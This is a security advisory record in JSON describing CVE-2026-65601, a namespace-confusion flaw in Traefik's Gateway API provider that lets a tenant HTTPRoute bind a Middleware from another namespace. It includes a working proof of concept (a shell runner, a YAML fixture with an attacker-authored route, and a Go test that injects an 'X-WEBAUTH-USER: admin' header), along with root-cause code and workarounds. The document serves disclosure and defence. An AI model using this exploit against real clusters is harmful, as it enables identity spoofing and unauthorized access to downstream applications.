CVE-2026-65601: Traefik Traefik Gateway API HTTPRoute BackendRef Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qq9q-x9w4-chhj",
  "modified" : "2026-08-05T21:49:19Z",
  "published" : "2026-08-05T21:49:19Z",
  "aliases" : [ "CVE-2026-65601" ],
  "summary" : "Traefik Gateway API HTTPRoute BackendRef ExtensionRef Namespace Confusion",
  "details" : "## Summary\n\nThere is a medium-severity namespace-confusion vulnerability in Traefik's Kubernetes Gateway API provider. When resolving `HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef`, Traefik used the backend Service namespace instead of the `HTTPRoute` namespace. A low-privileged route author holding a `ReferenceGrant` for a cross-namespace Service could therefore bind a Traefik `Middleware` from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves `extensionRef` against the `HTTPRoute` namespace.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n## Summary\n\nTraefik's Kubernetes Gateway API provider resolves\n`HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef` in the backend\nService namespace instead of the `HTTPRoute` namespace. A low-privileged route\nauthor with a permitted cross-namespace Service reference can therefore bind a\nTraefik `Middleware` from the backend namespace without a separate grant for\nthat middleware. If the reused middleware sets trusted reverse-proxy identity\nheaders, downstream applications can receive attacker-selected authenticated\nidentity state.\n\n## Description\n\nGateway API `ReferenceGrant` allows a namespace owner to grant a route in\nanother namespace permission to reference a specific backend object, such as a\n`Service`. That grant should not implicitly authorize the route author to bind\nother policy objects in the backend namespace.\n\nIn the affected code path, Traefik copies `backendRef.namespace` into a local\n`namespace` variable. It correctly uses that namespace to validate and load the\nbackend `Service`, but then reuses the same namespace when resolving\n`backendRef.filters[].extensionRef`. For Traefik CRD `Middleware` extension\nfilters, the CRD provider turns `(namespace, name)` into a dynamic middleware\nreference such as:\n\n```text\nplatform-privileged-auth-header@kubernetescrd\n```\n\nAs a result, a tenant route in `tenant-a` can bind a middleware named\n`privileged-auth-header` from the backend namespace `platform`, even though the\nGateway API `ReferenceGrant` only granted access to `platform/protected-api`\n`Service`.\n\n## Impact\n\nThe PoC demonstrates that an attacker-authored `HTTPRoute` can cause Traefik to\nattach a backend-namespace `Headers` middleware to the generated backend\nservice. The middleware injects:\n\n```text\nX-WEBAUTH-USER: admin\n```\n\nThat is a realistic downstream primitive because many applications support\ntrusted reverse-proxy authentication headers when deployed behind a gateway.\nSeparate Docker validation showed this header-auth class can map to\nauthenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus\nRepository when those products are intentionally configured for reverse-proxy\nauthentication.\n\nThis is not a bug in those downstream applications and this PoC does not claim\ndirect Traefik host RCE, sandbox escape, private-key exfiltration, or default\ncluster takeover. The Traefik vulnerability is unauthorized middleware binding\nacross a Gateway API namespace boundary.\n\n## Proof Of Concept\n\n### Files\n\n<details>\n<summary>run.sh</summary>\n\n```bash\n#!/usr/bin/env sh\nset -eu\n\nTARGET_REF=\"${TARGET_REF:-v3.7.5}\"\nREPO_URL=\"${REPO_URL:-https://github.com/traefik/traefik.git}\"\nSCRIPT_DIR=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\"\nWORKDIR=\"${WORKDIR:-$(mktemp -d \"${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX\")}\"\n\nif [ \"${KEEP_WORKDIR:-0}\" != \"1\" ]; then\n\ttrap 'rm -rf \"$WORKDIR\"' EXIT INT TERM\nfi\n\nprintf '[*] target_ref=%s\\n' \"$TARGET_REF\"\nprintf '[*] workdir=%s\\n' \"$WORKDIR\"\n\nif [ -n \"${TRAEFIK_SRC:-}\" ]; then\n\tprintf '[*] cloning from local source: %s\\n' \"$TRAEFIK_SRC\"\n\tgit clone -q \"$TRAEFIK_SRC\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\n\tgit -c advice.detachedHead=false checkout -q \"$TARGET_REF\"\nelse\n\tprintf '[*] cloning from remote: %s\\n' \"$REPO_URL\"\n\tgit -c advice.detachedHead=false clone -q --depth 1 --branch \"$TARGET_REF\" \"$REPO_URL\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\nfi\n\nmkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute\ncp \"$SCRIPT_DIR/poc_gateway_extensionref_test.go\" \\\n\tpkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go\ncp \"$SCRIPT_DIR/backendref_extension_filter_cross_namespace_poc.yml\" \\\n\tpkg/provider/kubernetes/gateway/fixtures/httproute/backendref_extension_filter_cross_namespace_poc.yml\n\nif grep -Fq 'loadConfigurationFromGateways(ctx context.Context) (*dynamic.Configuration, *statusReport, error)' pkg/provider/kubernetes/gateway/kubernetes.go; then\n\tsed -i \\\n\t\t-e 's/conf := p\\.loadConfigurationFromGateways(t\\.Context())/conf, _, err := p.loadConfigurationFromGateways(t.Context())/' \\\n\t\t-e 's/require\\.NotNil(t, conf)/require.NoError(t, err)/' \\\n\t\tpkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go\nfi\n\nprintf '[*] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\\n'\ngo test ./pkg/provider/kubernetes/gateway \\\n\t-run '^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$' \\\n\t-count=1 -v\n\nprintf 'POC_RESULT=PASS\\n'\n```\n\n</details>\n\n<details>\n<summary>backendref_extension_filter_cross_namespace_poc.yml</summary>\n\n```yaml\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: protected-api\n  namespace: platform\nspec:\n  ports:\n    - name: web\n      protocol: TCP\n      port: 80\n      targetPort: web\n\n---\nkind: EndpointSlice\napiVersion: discovery.k8s.io/v1\nmetadata:\n  name: protected-api-abc\n  namespace: platform\n  labels:\n    kubernetes.io/service-name: protected-api\naddressType: IPv4\nports:\n  - name: web\n    port: 8080\nendpoints:\n  - addresses:\n      - 10.10.20.10\n    conditions:\n      ready: true\n\n---\nkind: GatewayClass\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n  name: shared-gateway-class\nspec:\n  controllerName: traefik.io/gateway-controller\n\n---\nkind: Gateway\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n  name: shared-gateway\n  namespace: infra\nspec:\n  gatewayClassName: shared-gateway-class\n  listeners:\n    - name: http\n      protocol: HTTP\n      port: 80\n      allowedRoutes:\n        kinds:\n          - kind: HTTPRoute\n            group: gateway.networking.k8s.io\n        namespaces:\n          from: All\n\n---\nkind: ReferenceGrant\napiVersion: gateway.networking.k8s.io/v1beta1\nmetadata:\n  name: allow-tenant-route-to-service\n  namespace: platform\nspec:\n  from:\n    - group: gateway.networking.k8s.io\n      kind: HTTPRoute\n      namespace: tenant-a\n  to:\n    - group: \"\"\n      kind: Service\n      name: protected-api\n\n---\nkind: HTTPRoute\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n  name: tenant-route\n  namespace: tenant-a\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: infra\n      kind: Gateway\n      group: gateway.networking.k8s.io\n  hostnames:\n    - attacker.example\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /\n      backendRefs:\n        - name: protected-api\n          namespace: platform\n          port: 80\n          kind: Service\n          group: \"\"\n          filters:\n            - type: ExtensionRef\n              extensionRef:\n                group: traefik.io\n                kind: Middleware\n                name: privileged-auth-header\n```\n\n</details>\n\n<details>\n<summary>poc_gateway_extensionref_test.go</summary>\n\n```go\npackage gateway\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/traefik/traefik/v3/pkg/config/dynamic\"\n\t\"github.com/traefik/traefik/v3/pkg/middlewares/headers\"\n\ttraefikv1alpha1 \"github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1\"\n\tkubefake \"k8s.io/client-go/kubernetes/fake\"\n)\n\nfunc TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t *testing.T) {\n\tk8sObjects, gwObjects := readResources(t, []string{\"httproute/backendref_extension_filter_cross_namespace_poc.yml\"})\n\n\tkubeClient := kubefake.NewClientset(k8sObjects...)\n\tgwClient := newGatewaySimpleClientSet(t, gwObjects...)\n\n\tclient := newClientImpl(kubeClient, gwClient)\n\teventCh, err := client.WatchAll(nil, make(chan struct{}))\n\trequire.NoError(t, err)\n\tif len(k8sObjects) > 0 || len(gwObjects) > 0 {\n\t\t<-eventCh\n\t}\n\n\tvar resolvedRefs []string\n\tp := Provider{\n\t\tEntryPoints: map[string]Entrypoint{\"web\": {Address: \":80\"}},\n\t\tclient:      client,\n\t}\n\n\tp.RegisterFilterFuncs(traefikv1alpha1.GroupName, \"Middleware\", func(name, namespace string) (string, *dynamic.Middleware, error) {\n\t\tresolvedRefs = append(resolvedRefs, namespace+\"/\"+name)\n\t\treturn namespace + \"-\" + name + \"@kubernetescrd\", &dynamic.Middleware{\n\t\t\tHeaders: &dynamic.Headers{\n\t\t\t\tCustomRequestHeaders: map[string]string{\n\t\t\t\t\t\"X-WEBAUTH-USER\": \"admin\",\n\t\t\t\t},\n\t\t\t},\n\t\t}, nil\n\t})\n\n\tconf := p.loadConfigurationFromGateways(t.Context())\n\trequire.NotNil(t, conf)\n\n\tvar serviceConfig *dynamic.Service\n\tfor _, service := range conf.HTTP.Services {\n\t\tfor _, middlewareRef := range service.Middlewares {\n\t\t\tif middlewareRef == \"platform-privileged-auth-header@kubernetescrd\" {\n\t\t\t\tserviceConfig = service\n\t\t\t}\n\t\t}\n\t}\n\n\trequire.Contains(t, resolvedRefs, \"platform/privileged-auth-header\")\n\trequire.Contains(t, conf.HTTP.Middlewares, \"platform-privileged-auth-header@kubernetescrd\")\n\trequire.NotNil(t, serviceConfig)\n\trequire.Contains(t, serviceConfig.Middlewares, \"platform-privileged-auth-header@kubernetescrd\")\n\n\tseenUser := make(chan string, 1)\n\tbackend := http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {\n\t\tseenUser <- req.Header.Get(\"X-WEBAUTH-USER\")\n\t\trw.WriteHeader(http.StatusOK)\n\t})\n\n\thandler, err := headers.NewHeader(backend, *conf.HTTP.Middlewares[\"platform-privileged-auth-header@kubernetescrd\"].Headers)\n\trequire.NoError(t, err)\n\n\trecorder := httptest.NewRecorder()\n\thandler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, \"http://attacker.example/\", nil))\n\n\tassert.Equal(t, http.StatusOK, recorder.Code)\n\tassert.Equal(t, \"admin\", <-seenUser)\n\tt.Logf(\"POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=%q middleware=%q injected_header=%q\",\n\t\t\"platform\", \"platform-privileged-auth-header@kubernetescrd\", \"X-WEBAUTH-USER: admin\")\n}\n```\n\n</details>\n\n### Requirements\n\n- `git`\n- Go toolchain compatible with the target Traefik tag. `v3.7.5` uses\n  `go 1.25.0`.\n- Network access to clone `https://github.com/traefik/traefik.git` and download\n  Go modules on first run.\n\nNo local Traefik checkout or Kubernetes cluster is required by default.\n\n### Run\n\n```sh\n./run.sh\n```\n\nOptional target override:\n\n```sh\nTARGET_REF=v3.7.0 ./run.sh\n```\n\nOptional local-source override for faster validation:\n\n```sh\nTRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh\n```\n\n### Expected Result\n\nThe run should end with:\n\n```text\nPOC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=\"platform\" middleware=\"platform-privileged-auth-header@kubernetescrd\" injected_header=\"X-WEBAUTH-USER: admin\"\nPOC_RESULT=PASS\n```\n\n## Root Cause\n\nLine numbers below are from:\n\n```text\nrepository: https://github.com/traefik/traefik\ntag:        v3.7.5\ncommit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0\n```\n\n### 1. Route-level filters use the route namespace\n\n`pkg/provider/kubernetes/gateway/httproute.go:143-144`\n\n```go\n// TODO loadMiddlewares errors could change the condition.\nrouter.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path)\n```\n\nFor filters directly on `HTTPRoute.rules[]`, Traefik resolves extension filters\nrelative to `route.Namespace`. This matches the Gateway API\n`LocalObjectReference` model.\n\n### 2. BackendRef namespace overwrites the route namespace\n\n`pkg/provider/kubernetes/gateway/httproute.go:240-243`\n\n```go\nnamespace := route.Namespace\nif backendRef.Namespace != nil && *backendRef.Namespace != \"\" {\n\tnamespace = string(*backendRef.Namespace)\n```\n\nFor a cross-namespace backend Service, `namespace` becomes the backend\nnamespace, for example `platform`.\n\n### 3. ReferenceGrant checks only the backend object\n\n`pkg/provider/kubernetes/gateway/httproute.go:258-266`\n\n```go\nif err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil {\n\treturn serviceName, &metav1.Condition{\n\t\tType:               string(gatev1.RouteConditionResolvedRefs),\n\t\tStatus:             metav1.ConditionFalse,\n\t\tObservedGeneration: route.Generation,\n\t\tLastTransitionTime: metav1.Now(),\n\t\tReason:             string(gatev1.RouteReasonRefNotPermitted),\n```\n\nThis validates permission to reference the backend object, such as\n`platform/protected-api` `Service`.\n\n### 4. The backend namespace is reused for backendRef filters\n\n`pkg/provider/kubernetes/gateway/httproute.go:269-277`\n\n```go\nmiddlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch)\nif err != nil {\n\treturn serviceName, &metav1.Condition{\n\t\tType:               string(gatev1.RouteConditionResolvedRefs),\n\t\tStatus:             metav1.ConditionFalse,\n\t\tObservedGeneration: route.Generation,\n\t\tLastTransitionTime: metav1.Now(),\n```\n\nThe same `namespace` variable now points to the backend namespace. Therefore an\n`ExtensionRef` inside `backendRef.filters[]` is resolved as\n`platform/<middleware-name>` instead of `tenant-a/<middleware-name>`.\n\n### 5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider\n\n`pkg/provider/kubernetes/crd/kubernetes.go:169-175`\n\n```go\nregistry.RegisterFilterFuncs(traefikv1alpha1.GroupName, \"Middleware\", func(name, namespace string) (string, *dynamic.Middleware, error) {\n\tif len(p.Namespaces) > 0 && !slices.Contains(p.Namespaces, namespace) {\n\t\treturn \"\", nil, fmt.Errorf(\"namespace %q is not allowed\", namespace)\n\t}\n\n\treturn makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil\n```\n\nThe namespace passed from `loadMiddlewares()` decides which CRD `Middleware`\nobject becomes part of the dynamic service configuration.\n\n### 6. Service-level middlewares are applied at runtime\n\n`pkg/server/service/service.go:186-194`\n\n```go\nif len(conf.Middlewares) > 0 {\n\tif m.middlewareChainBuilder == nil {\n\t\t// This should happen only in tests.\n\t\treturn nil, errors.New(\"chain builder not defined\")\n\t}\n\tchain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, conf.Middlewares)\n\toriginalLB := lb\n\tvar err error\n\tlb, err = chain.Then(lb)\n```\n\nThe unauthorized middleware reference is not merely stored. Traefik applies\nservice-level middlewares to the backend load balancer handler during normal\nHTTP service construction.\n\n## Minimal Exploit Shape\n\nThe PoC fixture contains the essential object graph:\n\n```text\ntenant-a/HTTPRoute\n  -> backendRef namespace: platform, name: protected-api\n  -> backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header\n\nplatform/ReferenceGrant\n  -> allows tenant-a HTTPRoute to reference platform/protected-api Service only\n\nplatform/protected-api Service\n\nTraefik resolves the ExtensionRef as:\n  platform/privileged-auth-header\n```\n\nIn a real affected deployment, if `platform/privileged-auth-header` sets a\ntrusted identity header, requests sent through the tenant route can reach the\nbackend with that header injected by Traefik.\n\n## Workarounds\n\n- Avoid granting untrusted namespaces permission to attach `HTTPRoute` objects\n  to shared Gateways that route to sensitive backends.\n- Do not place privileged or identity-bearing Traefik `Middleware` objects in\n  namespaces that can be reached by untrusted cross-namespace `HTTPRoute`\n  backend references.\n- Prefer route-local filters and explicitly audit\n  `HTTPRoute.rules[].backendRefs[].filters[].extensionRef` usage.\n- Strip trusted reverse-proxy identity headers at backend application\n  boundaries unless they originate from a dedicated authentication gateway.\n\n## Scope Boundary\n\nExploitation requires low-privileged route-author capability in a Kubernetes\nGateway API deployment. A remote unauthenticated web client without\n`HTTPRoute` authoring capability cannot create the malicious route. If the\nshared Gateway is internet-facing, the final request that triggers the\nunauthorized middleware can be sent over the public network after the route is\ncreated.\n\n</details>\n\n---",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "Traefik"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.7.0"
      }, {
        "fixed" : "3.7.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/security/advisories/GHSA-qq9q-x9w4-chhj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-65601"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/pull/13462"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/commit/655d6324ab4a1475892a958d4bae389720a67ea9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/traefik/traefik"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/traefik-before-namespace-confusion-via-httproute-extensionref"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-05T21:49:19Z",
    "nvd_published_at" : null
  }
}